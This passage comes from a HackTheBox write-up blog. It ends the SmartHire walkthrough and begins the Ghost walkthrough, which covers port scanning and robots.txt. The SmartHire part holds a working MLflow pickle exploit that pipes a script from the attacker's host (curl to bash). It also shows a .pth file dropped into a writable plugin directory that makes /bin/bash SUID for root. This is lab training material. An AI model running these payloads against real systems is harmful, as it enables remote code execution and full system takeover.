<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
</pre></td><td class="rouge-code"><pre><span class="c1"># /// script
# requires-python = "==3.10"
# dependencies = [
#     "mlflow==2.14.1",
#     "numpy&lt;=2",
#     "scikit-learn&gt;=1.7.2",
#     "setuptools&lt;=70",
# ]
# ///
</span><span class="kn">import</span> <span class="nn">pickle</span><span class="p">,</span> <span class="n">os</span><span class="p">,</span> <span class="n">mlflow</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">from</span> <span class="nn">sklearn.linear_model</span> <span class="kn">import</span> <span class="n">ElasticNet</span>

<span class="n">mlflow</span><span class="p">.</span><span class="n">set_tracking_uri</span><span class="p">(</span><span class="s">"http://admin:password@models.smarthire.htb"</span><span class="p">)</span>

<span class="k">class</span> <span class="nc">Exploit</span><span class="p">(</span><span class="n">ElasticNet</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">__reduce__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="k">return</span> <span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">,</span> <span class="p">(</span><span class="s">"curl http://10.10.14.6:3232/ra.sh | /bin/bash"</span><span class="p">,))</span>

<span class="c1"># poison the object
</span><span class="n">malicious</span> <span class="o">=</span> <span class="n">Exploit</span><span class="p">()</span>

<span class="k">with</span> <span class="n">mlflow</span><span class="p">.</span><span class="n">start_run</span><span class="p">():</span>
    <span class="n">mlflow</span><span class="p">.</span><span class="n">sklearn</span><span class="p">.</span><span class="n">log_model</span><span class="p">(</span>
        <span class="n">malicious</span><span class="p">,</span>
        <span class="n">artifact_path</span><span class="o">=</span><span class="s">"model"</span><span class="p">,</span>
        <span class="n">registered_model_name</span><span class="o">=</span><span class="s">"w1ldCo-9d653d882c64-model"</span><span class="p">,</span>
        <span class="n">serialization_format</span><span class="o">=</span><span class="s">'pickle'</span>
    <span class="p">)</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s run this script.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>~/htb/labs/smarthire <span class="nv">$ </span>uv run rce.py                          
2026/05/16 20:49:21 WARNING mlflow.utils.environment: Failed to resolve installed pip version. <span class="sb">``</span>pip<span class="sb">``</span> will be added to conda.yaml environment spec without a version specifier.
Registered model <span class="s1">'w1ldCo-9d653d882c64-model'</span> already exists. Creating a new version of this model...
2026/05/16 20:49:30 INFO mlflow.store.model_registry.abstract_store: Waiting up to 300 seconds <span class="k">for </span>model version to finish creation. Model name: w1ldCo-9d653d882c64-model, version 2
Created version <span class="s1">'2'</span> of model <span class="s1">'w1ldCo-9d653d882c64-model'</span><span class="nb">.</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Now we can test the model by uploading a <code class="language-plaintext highlighter-rouge">resume.csv</code> file and I get a callback on my listener.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>4.0K drwxr-x---  6 svcweb svcweb 4.0K May 13 16:15 svcweb
svcweb@smarthire:/var/www/smarthire.htb<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-lash</span> ~/user.txt
4.0K <span class="nt">-rw-r-----</span> 1 root svcweb 33 May 16 23:42 /home/svcweb/user.txt

</pre></td></tr></tbody></table></code></pre></div></div>

<p>There we can find the <code class="language-plaintext highlighter-rouge">user</code> flag.</p>

<h1 id="root">Root</h1>

<h2 id="exploiting-sudo-python-script-with-pth-file">Exploiting Sudo python script with <code class="language-plaintext highlighter-rouge">pth</code> file</h2>

<p>Looking around we can execute a python script as <code class="language-plaintext highlighter-rouge">root</code> with <code class="language-plaintext highlighter-rouge">NOPASSWD</code></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>svcweb@smarthire:/var/www/smarthire.htb<span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-l</span>
Matching Defaults entries <span class="k">for </span>svcweb on smarthire:
    env_reset, <span class="nv">secure_path</span><span class="o">=</span>/usr/local/sbin<span class="se">\:</span>/usr/local/bin<span class="se">\:</span>/usr/sbin<span class="se">\:</span>/usr/bin<span class="se">\:</span>/sbin<span class="se">\:</span>/bin, use_pty

User svcweb may run the following commands on smarthire:
    <span class="o">(</span>root<span class="o">)</span> NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py <span class="k">*</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s take a look at <code class="language-plaintext highlighter-rouge">mlflowctl.py</code></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
</pre></td><td class="rouge-code"><pre><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">pathlib</span> <span class="kn">import</span> <span class="n">Path</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">site</span>
<span class="n">BASE_DIR</span> <span class="o">=</span> <span class="n">Path</span><span class="p">(</span><span class="n">__file__</span><span class="p">).</span><span class="n">resolve</span><span class="p">().</span><span class="n">parent</span>
<span class="n">PLUGINS_DIR</span> <span class="o">=</span> <span class="n">BASE_DIR</span> <span class="o">/</span> <span class="s">"plugins"</span>
<span class="k">for</span> <span class="n">path</span> <span class="ow">in</span> <span class="n">PLUGINS_DIR</span><span class="p">.</span><span class="n">iterdir</span><span class="p">():</span>
    <span class="k">if</span> <span class="n">path</span><span class="p">.</span><span class="n">is_dir</span><span class="p">():</span>
        <span class="n">site</span><span class="p">.</span><span class="n">addsitedir</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">path</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">print_usage</span><span class="p">():</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Usage: mlflowctl.py [status|backup-models|restart]"</span><span class="p">)</span>
    <span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="kn">import</span> <span class="nn">mlflow_actions</span><span class="p">,</span> <span class="n">backup_models</span>
    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">:</span>
        <span class="n">print_usage</span><span class="p">()</span>
    <span class="n">action</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
    <span class="k">if</span> <span class="n">action</span> <span class="o">==</span> <span class="s">"status"</span><span class="p">:</span>
        <span class="n">mlflow_actions</span><span class="p">.</span><span class="n">check_status</span><span class="p">()</span>
    <span class="k">elif</span> <span class="n">action</span> <span class="o">==</span> <span class="s">"backup-models"</span><span class="p">:</span>
        <span class="n">backup_models</span><span class="p">.</span><span class="n">run</span><span class="p">()</span>
    <span class="k">elif</span> <span class="n">action</span> <span class="o">==</span> <span class="s">"restart"</span><span class="p">:</span>
        <span class="n">mlflow_actions</span><span class="p">.</span><span class="n">restart</span><span class="p">()</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">print_usage</span><span class="p">()</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span> <span class="n">main</span><span class="p">()</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>With this we see that <code class="language-plaintext highlighter-rouge">site.addsitedir</code> is called which runs any <code class="language-plaintext highlighter-rouge">pth</code> file in the directory. Let’s take a look at the <code class="language-plaintext highlighter-rouge">plugins</code> directory.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>svcweb@smarthire:/var/www/smarthire.htb<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-la</span> /opt/tools/mlflow_ctl/plugins/
total 16
drwxr-xr-x 4 root root 4096 Feb 19 18:10 <span class="nb">.</span> 
drwxr-xr-x 3 root root 4096 Feb 19 18:16 .. 
drwxr-xr-x 3 root root 4096 Feb 20 09:26 core 
drwxrwxr-x 2 root devs 4096 May 12 15:22 dev

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We can see that <code class="language-plaintext highlighter-rouge">devs</code> can write to the <code class="language-plaintext highlighter-rouge">plugin/dev</code> directory, we can check if we’re in that group.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>svcweb@smarthire:/var/www/smarthire.htb<span class="nv">$ </span><span class="nb">id
</span><span class="nv">uid</span><span class="o">=</span>1000<span class="o">(</span>svcweb<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>1000<span class="o">(</span>svcweb<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>1000<span class="o">(</span>svcweb<span class="o">)</span>,1001<span class="o">(</span>mlflowweb<span class="o">)</span>,1002<span class="o">(</span>devs<span class="o">)</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We are, so let’s write to <code class="language-plaintext highlighter-rouge">/opt/tools/mlflow_ctl/plugins/dev/w1ld.pth</code> the following:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="nn">os</span><span class="p">;</span> <span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="s">"chmod +s /bin/bash"</span><span class="p">)</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s execute the script and check <code class="language-plaintext highlighter-rouge">/bin/bash</code> for a change.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>svcweb@smarthire:/var/www/smarthire.htb<span class="nv">$ </span><span class="nb">sudo</span> /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Checking MLflow service status...

<span class="o">[</span>+] MLflow service status: active
<span class="o">[</span>+] MLflow container status: <span class="s1">'Up About an hour'</span>
svcweb@smarthire:/var/www/smarthire.htb<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-lash</span> /bin/bash
1.4M <span class="nt">-rwsr-sr-x</span> 1 root root 1.4M Mar 14  2024 /bin/bash

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We can see the <code class="language-plaintext highlighter-rouge">s</code> flag is now set, let’s run <code class="language-plaintext highlighter-rouge">bash</code> with the <code class="language-plaintext highlighter-rouge">-p</code> flag to preserve our root privileges.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>svcweb@smarthire:/var/www/smarthire.htb<span class="nv">$ </span>bash <span class="nt">-p</span>
bash-5.1# <span class="nb">ls</span> <span class="nt">-lash</span> /root/root.txt
4.0K <span class="nt">-rw-r-----</span> 1 root root 33 May 16 23:42 /root/root.txt

</pre></td></tr></tbody></table></code></pre></div></div>

<p>There we can find the <code class="language-plaintext highlighter-rouge">root</code> flag.</p>]]></content><author><name>0xW1LD</name></author><category term="[&quot;HTB&quot;]" /><category term="os/linux" /><category term="diff/easy" /><summary type="html"><![CDATA[SmartHire is a Linux machine running an AI resume assessment website. We can find a subdomain with BasicAuthentication using default credentials for an older version of MLFlow. This version of MLFlow is vulnerable to a pickle deserialization vulnerability allowing us to generate a malicious model that when ran will trigger remote code execution. Using this we can get a shell as the svcweb user. Svcweb is able to run a python script as root that loads several plugin directories as packages. We have write access to one of these directories in which we can place a python header file to get code execution as root when triggering the script to get the root flag.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://0xw1ld.github.io/assets/img/img_smarthire/0009.jpeg" /><media:content medium="image" url="https://0xw1ld.github.io/assets/img/img_smarthire/0009.jpeg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Ghost</title><link href="https://0xw1ld.github.io/htb/2026/09/24/ghost.html" rel="alternate" type="text/html" title="Ghost" /><published>2026-09-24T00:00:00+00:00</published><updated>2026-09-24T00:00:00+00:00</updated><id>https://0xw1ld.github.io/htb/2026/09/24/ghost</id><content type="html" xml:base="https://0xw1ld.github.io/htb/2026/09/24/ghost.html"><![CDATA[<p><img src="/assets/img/img_ghost/0001.jpeg" alt="Ghost HackTheBox machine" /></p>
<h1 id="enumeration">Enumeration</h1>
<h2 id="port-scan">Port-Scan</h2>
<p>As usual we start off with an <code class="language-plaintext highlighter-rouge">nmap</code> port scan</p>
<div filename="nmap.txt" class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
</pre></td><td class="rouge-code"><pre>PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-09-23 03:02:49Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-19T15:45:56
| Not valid after:  2124-06-19T15:55:55
| MD5:   5baa:c0a2:2d16:3ddf:29e3:d21c:154f:9aaa
|_SHA-1: d9d2:b4cd:cddf:b8a5:884b:a4b8:4648:ab24:4c78:54df
|_ssl-date: TLS randomness does not represent time
443/tcp   open  https?
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-19T15:45:56
| Not valid after:  2124-06-19T15:55:55
| MD5:   5baa:c0a2:2d16:3ddf:29e3:d21c:154f:9aaa
|_SHA-1: d9d2:b4cd:cddf:b8a5:884b:a4b8:4648:ab24:4c78:54df
|_ssl-date: TLS randomness does not represent time
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-09-23T02:56:19
| Not valid after:  2056-09-23T02:56:19
| MD5:   063b:059e:ab89:8ea3:8e6a:03c0:f1bb:1a87
|_SHA-1: 3424:3e64:1b2e:d5fb:75b9:92d9:9821:e698:d488:07f1
|_ssl-date: 2026-09-23T03:04:57+00:00; 0s from scanner time.
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-19T15:45:56
| Not valid after:  2124-06-19T15:55:55
| MD5:   5baa:c0a2:2d16:3ddf:29e3:d21c:154f:9aaa
|_SHA-1: d9d2:b4cd:cddf:b8a5:884b:a4b8:4648:ab24:4c78:54df
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-19T15:45:56
| Not valid after:  2124-06-19T15:55:55
| MD5:   5baa:c0a2:2d16:3ddf:29e3:d21c:154f:9aaa
|_SHA-1: d9d2:b4cd:cddf:b8a5:884b:a4b8:4648:ab24:4c78:54df
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: GHOST
|   NetBIOS_Domain_Name: GHOST
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: ghost.htb
|   DNS_Computer_Name: DC01.ghost.htb
|   DNS_Tree_Name: ghost.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2026-09-23T03:04:03+00:00
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-09-22T02:49:17
| Not valid after:  2027-03-24T02:49:17
| MD5:   9547:6de8:46f2:f2f4:2248:fec1:cb91:1913
|_SHA-1: 2812:9662:e7ca:210e:e126:2395:a192:0a19:1d71:cad4
|_ssl-date: 2026-09-23T03:04:56+00:00; -1s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8008/tcp  open  http          nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: A9C6DBDCDC3AE568F4E0DAD92149A0E3
8443/tcp  open  ssl/http      nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: HEAD POST OPTIONS
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=core.ghost.htb
| Subject Alternative Name: DNS:core.ghost.htb
| Issuer: commonName=core.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-18T15:14:02
| Not valid after:  2124-05-25T15:14:02
| MD5:   8e6a:b3f0:2883:ed74:dd49:2f75:7944:41e9
|_SHA-1: 507b:a1b1:afdb:d880:f67a:6d75:4b06:2b20:e969:96bc
| tls-nextprotoneg: 
|_  http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-title: Ghost Core
|_Requested resource was /login
| tls-alpn: 
|_  http/1.1
9389/tcp  open  mc-nmf        .NET Message Framing
49443/tcp open  unknown
49664/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
49682/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
53216/tcp open  msrpc         Microsoft Windows RPC
53300/tcp open  msrpc         Microsoft Windows RPC
57498/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2026-09-23T03:03:51
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="port-80---microsoft-httpapi">Port 80 - Microsoft HTTPAPI</h2>
<p>Visiting this website all requests lead to a default <code class="language-plaintext highlighter-rouge">MS HTTPAPI 404</code> error page.
<img src="/assets/img/img_ghost/0002.jpeg" alt="" /></p>

<h2 id="port-8008---ghostcms-blog">Port 8008 - GhostCMS Blog</h2>
<p>Visiting the website on port <code class="language-plaintext highlighter-rouge">8008</code> we’re greeted by a <code class="language-plaintext highlighter-rouge">GhostCMS</code> blog
<img src="/assets/img/img_ghost/0003.jpeg" alt="" /></p>

<p>We can find a user’s full name: <code class="language-plaintext highlighter-rouge">Kathryn Holland</code>. Furthermore looking into our <code class="language-plaintext highlighter-rouge">web requests</code> particularly when using the <code class="language-plaintext highlighter-rouge">search</code> feature we find a request to the <code class="language-plaintext highlighter-rouge">api</code></p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="nf">OPTIONS</span> <span class="nn">/ghost/api/content/posts/?key=37395e9e872be56438c83aaca6&amp;limit=10000&amp;fields=id%2Cslug%2Ctitle%2Cexcerpt%2Curl%2Cupdated_at%2Cvisibility&amp;order=updated_at%20DESC</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">ghost.htb</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">*/*</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.5</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span>
<span class="na">Access-Control-Request-Method</span><span class="p">:</span> <span class="s">GET</span>
<span class="na">Access-Control-Request-Headers</span><span class="p">:</span> <span class="s">accept-version</span>
<span class="na">Referer</span><span class="p">:</span> <span class="s">http://ghost.htb:8008/</span>
<span class="na">Origin</span><span class="p">:</span> <span class="s">http://ghost.htb:8008</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Priority</span><span class="p">:</span> <span class="s">u=4</span>


</pre></td></tr></tbody></table></code></pre></div></div>

<p>However this seems to lead to another <code class="language-plaintext highlighter-rouge">MS HTTPAPI 404</code> error.</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">404</span> <span class="ne">Not Found</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html; charset=us-ascii</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">Microsoft-HTTPAPI/2.0</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Thu, 24 Sep 2026 01:43:08 GMT</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">close</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">315</span>

<span class="cp">&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"&gt;</span>
<span class="nt">&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;</span>Not Found<span class="nt">&lt;/TITLE&gt;</span>
<span class="nt">&lt;META</span> <span class="na">HTTP-EQUIV=</span><span class="s">"Content-Type"</span> <span class="na">Content=</span><span class="s">"text/html; charset=us-ascii"</span><span class="nt">&gt;&lt;/HEAD&gt;</span>
<span class="nt">&lt;BODY&gt;&lt;h2&gt;</span>Not Found<span class="nt">&lt;/h2&gt;</span>
<span class="nt">&lt;hr&gt;&lt;p&gt;</span>HTTP Error 404. The requested resource is not found.<span class="nt">&lt;/p&gt;</span>
<span class="nt">&lt;/BODY&gt;&lt;/HTML&gt;</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="robotstxt">Robots.txt</h3>
<p>Looking around we can find several directories mentioned in the <code class="language-plaintext highlighter-rouge">robots.txt</code> file.</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="rouge-code"><pre><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">nginx/1.18.0 (Ubuntu)</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Thu, 24 Sep 2026 01:51:57 GMT</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/plain</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">148</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">X-Powered-By</span><span class="p">:</span> <span class="s">Express</span>
<span class="na">ETag</span><span class="p">:</span> <span class="s">"0b34e44853d14eca380b713528d1f9ef"</span>
<span class="na">Cache-Control</span><span class="p">:</span> <span class="s">public, max-age=3600</span>
<span class="na">Vary</span><span class="p">:</span> <span class="s">Accept-Encoding</span>

User-agent: *
Sitemap: http://ghost.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/
Disallow: /webmentions/receive/
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="sitemapxml">Sitemap.xml</h3>
<p>The pressence of a <code class="language-plaintext highlighter-rouge">sitemap.xml</code> file is rather interesting as it allows us to know the publicly accessible directories without needing a directory fuzz.</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="rouge-code"><pre><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="cp">&lt;?xml-stylesheet type="text/xsl" href="//ghost.htb/sitemap.xsl"?&gt;</span>
<span class="nt">&lt;sitemapindex</span> <span class="na">xmlns=</span><span class="s">"http://www.sitemaps.org/schemas/sitemap/0.9"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;sitemap&gt;</span>
    <span class="nt">&lt;loc&gt;</span>http://ghost.htb/sitemap-pages.xml<span class="nt">&lt;/loc&gt;</span>
    <span class="nt">&lt;lastmod&gt;</span>2026-09-24T01:38:41.511Z<span class="nt">&lt;/lastmod&gt;</span>
  <span class="nt">&lt;/sitemap&gt;</span>
  <span class="nt">&lt;sitemap&gt;</span>
    <span class="nt">&lt;loc&gt;</span>http://ghost.htb/sitemap-posts.xml<span class="nt">&lt;/loc&gt;</span>
    <span class="nt">&lt;lastmod&gt;</span>2024-01-09T05:52:59.000Z<span class="nt">&lt;/lastmod&gt;</span>
  <span class="nt">&lt;/sitemap&gt;</span>
  <span class="nt">&lt;sitemap&gt;</span>
    <span class="nt">&lt;loc&gt;</span>http://ghost.htb/sitemap-authors.xml<span class="nt">&lt;/loc&gt;</span>
    <span class="nt">&lt;lastmod&gt;</span>2024-02-03T05:44:26.000Z<span class="nt">&lt;/lastmod&gt;</span>
  <span class="nt">&lt;/sitemap&gt;</span>
<span class="nt">&lt;/sitemapindex&gt;</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>I’ll take a look at each of these sitemaps, <code class="language-plaintext highlighter-rouge">sitemap-pages.xml</code></p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;&lt;?xml-stylesheet type="text/xsl" href="//ghost.htb/sitemap.xsl"?&gt;</span>
<span class="nt">&lt;urlset</span> <span class="na">xmlns=</span><span class="s">"http://www.sitemaps.org/schemas/sitemap/0.9"</span>
